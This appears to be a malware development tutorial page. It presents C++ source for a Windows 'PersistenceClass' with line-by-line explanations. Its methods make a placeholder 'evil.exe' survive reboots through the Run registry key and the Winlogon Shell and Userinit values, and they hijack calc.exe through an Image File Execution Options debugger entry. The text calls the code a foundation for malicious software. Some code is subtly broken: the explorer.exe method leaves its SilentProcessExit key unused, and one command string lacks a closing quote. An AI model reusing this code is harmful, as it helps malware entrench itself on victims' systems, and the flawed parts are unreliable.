Persistence via Application Event

Persistence Creator

C++ Code
```cpp
#include <windows.h>
#include <iostream>
#include "PersistenceClass.h"

using namespace std;

int main(int argc, char *argv[]){
    PersistenceClass persistence = PersistenceClass("C:\\Users\\Public\\Music\\evil.exe");
    persistence.persistenceByOpenApp();
    return 0;
}
```

1. `#include` directives: These lines include necessary header files.
    - `<windows.h>`: This is a header file for Microsoft Windows API functions and data types.
    - `<iostream>`: This is the standard C++ input/output stream header.
    - `"PersistenceClass.h"`: This includes a custom header file called `PersistenceClass.h`. This is likely a user-defined class that will be used in the code.
2. `using namespace std;`: This line declares that you are using the `std` namespace, which is the standard C++ namespace. It's necessary to use objects and functions from the standard library, such as `std::cout`.
3. `int main(int argc, char *argv[])`: This is the starting point of the C++ program. It's a function called `main` that takes two arguments: `argc` and `argv`. These are typically used for command-line argument handling.
    - `argc` (argument count) represents the number of command-line arguments passed to the program.
    - `argv` (argument vector) is an array of C-style strings (char arrays) that hold the actual command-line arguments.
4. `PersistenceClass persistence = PersistenceClass("C:\\Users\\Public\\Music\\evil.exe");`: This line declares an instance of a class named `PersistenceClass` called `persistence` and initializes it with the path "C:\Users\Public\Music\evil.exe". This indicates that the code is working with some kind of persistence mechanism, possibly related to malware development.
5. `persistence.persistenceByOpenApp();`: This line calls a member function named `persistenceByOpenApp()` on the `persistence` object. This function appears to be part of the `PersistenceClass`, and it might be responsible for achieving some form of persistence in the system. The name suggests that it might be related to opening or running an application for persistence purposes.
6. `return 0;`: This line is the exit status of the `main` function. It indicates that the program has completed successfully, as a return value of 0 typically signifies successful execution in C++.

To fully understand the code, you would need to examine the `PersistenceClass` class and the implementation of its `persistenceByOpenApp()` method, as the functionality and purpose of this code depend on the details of that class and method.

Persistence Class

C++ Code
```cpp
#include <windows.h>
#include <string.h>
#include <iostream>

using namespace std;

class PersistenceClass {
    private:
        string exePath;
    public:
        // Constructor
        PersistenceClass(string exePath) {
            this->exePath = exePath;
        }

        // Getters
        string getExePath() {
            return this->exePath;
        }

        // Setters
        void setExePath(string exePath) {
            this->exePath = exePath;
        }

        // Persistence Methods

        // Register Run
        bool persistenceByRunReg(){
            HKEY hkey = NULL;
            LONG res = RegOpenKeyEx(HKEY_CURRENT_USER,(LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hkey);
            if (res == ERROR_SUCCESS) {
                RegSetValueEx(hkey,(LPCSTR)"salsa", 0, REG_SZ, (unsigned char*)this->exePath.c_str(), strlen(this->exePath.c_str()));
                if (RegCloseKey(hkey) == ERROR_SUCCESS) {
                    return true;
                }
                RegCloseKey(hkey);
            }
            return false;
        }

        // Register Winlogon
        bool persistenceByWinlogon(){
            HKEY hkey = NULL;
            LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, KEY_WRITE, &hkey);
            if (res == ERROR_SUCCESS) {
                RegSetValueEx(hkey,(LPCSTR)"Shell", 0, REG_SZ, (unsigned char*)this->exePath.c_str(), strlen(this->exePath.c_str()));
                if (RegCloseKey(hkey) == ERROR_SUCCESS) {
                    return true;
                }
                RegCloseKey(hkey);
            }
            return false;
        }

        // Execute exe when calc app is open
        bool persistenceByOpenApp(){
            string commandRegAdd = "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\calc.exe\" /v Debugger /t reg_sz /d \"cmd /C _calc.exe & " + this->exePath + " /f";
            system("copy C:\\Windows\\system32\\calc.exe C:\\Windows\\system32\\_calc.exe");
            system(commandRegAdd.c_str());
            return true;
        }

        // Execute exe when close explorer app
        bool persistenceByCloseApp(){
            HKEY hkey = NULL;
            DWORD gF = 512;
            DWORD rM = 1;
            const char* img = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\explorer.exe";
            const char* silent = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\explorer.exe";
            LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)img, 0, KEY_WRITE, &hkey);
            if (res == ERROR_SUCCESS) {
                RegSetValueEx(hkey,(LPCSTR)"GlobalFlag", 0, REG_DWORD, (unsigned char*)&gF, sizeof(gF));
                RegSetValueEx(hkey,(LPCSTR)"ReportMonitorProcess", 0, REG_DWORD, (unsigned char*)&rM, sizeof(rM));
                if (RegCloseKey(hkey) == ERROR_SUCCESS) {
                    return true;
                }
                RegCloseKey(hkey);
            }
            return false;
        }

        // Persistence by Winlogon
        bool persistenceByWinlogonReg(){
            HKEY hkey = NULL;
            LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", 0, KEY_WRITE, &hkey);
            if (res == ERROR_SUCCESS) {
                RegSetValueEx(hkey,(LPCSTR)"Userinit", 0, REG_SZ, (unsigned char*)this->exePath.c_str(), strlen(this->exePath.c_str()));
                if (RegCloseKey(hkey) == ERROR_SUCCESS) {
                    return true;
                }
                RegCloseKey(hkey);
            }
            return false;
        }

};
```

This C++ code defines a `PersistenceClass` class, which encapsulates various methods for achieving persistence on a Windows system. Persistence in this context refers to techniques used by malware to ensure that it remains on a compromised system even after reboots or system events. Let's break down the key parts of this code:

1. **Header Inclusions**:
    - The code includes necessary header files like `<windows.h>`, `<string.h>`, and `<iostream>` for Windows API functions, string manipulation, and standard input/output.
2. **Namespace**:
    - The code uses the `std` namespace for standard C++ functionality.
3. **Class Definition**:
    - The `PersistenceClass` class is defined to encapsulate persistence methods.
4. **Private Member Variable**:
    - It has a private member variable `exePath` of type `string`, which is used to store the path to the executable that needs to be executed persistently.
5. **Constructor**:
    - The class has a constructor that takes an `exePath` parameter to initialize the `exePath` member variable.
6. **Getter and Setter Methods**:
    - Getter and setter methods are provided to access and modify the `exePath` member variable.
7. **Persistence Methods**:
    - The class defines several persistence methods, each targeting different Windows Registry keys or mechanisms for achieving persistence:
        - `persistenceByRunReg()`: Attempts to add an entry to the "Run" Registry key under `HKEY_CURRENT_USER` to execute the specified executable when the user logs in.
        - `persistenceByWinlogon()`: Tries to modify the "Shell" value under `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` to execute the specified executable.
        - `persistenceByOpenApp()`: Copies the `calc.exe` executable to `_calc.exe` and sets a Debugger value in the Registry under `Image File Execution Options` for `calc.exe`. This approach runs the malicious executable when the Calculator (`calc.exe`) is opened.
        - `persistenceByCloseApp()`: Modifies Registry settings related to the "explorer.exe" process to execute the specified executable when Explorer is closed.
        - `persistenceByWinlogonReg()`: Modifies the "Userinit" value under `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` to execute the specified executable.

Each method returns `true` if the persistence operation succeeds, otherwise, it returns `false`. Error checking for Registry operations is included to handle possible failures.

Overall, this class provides a framework for implementing various persistence techniques on a Windows system, and it can be used as a foundation for building malicious code that ensures the malware remains active on the system.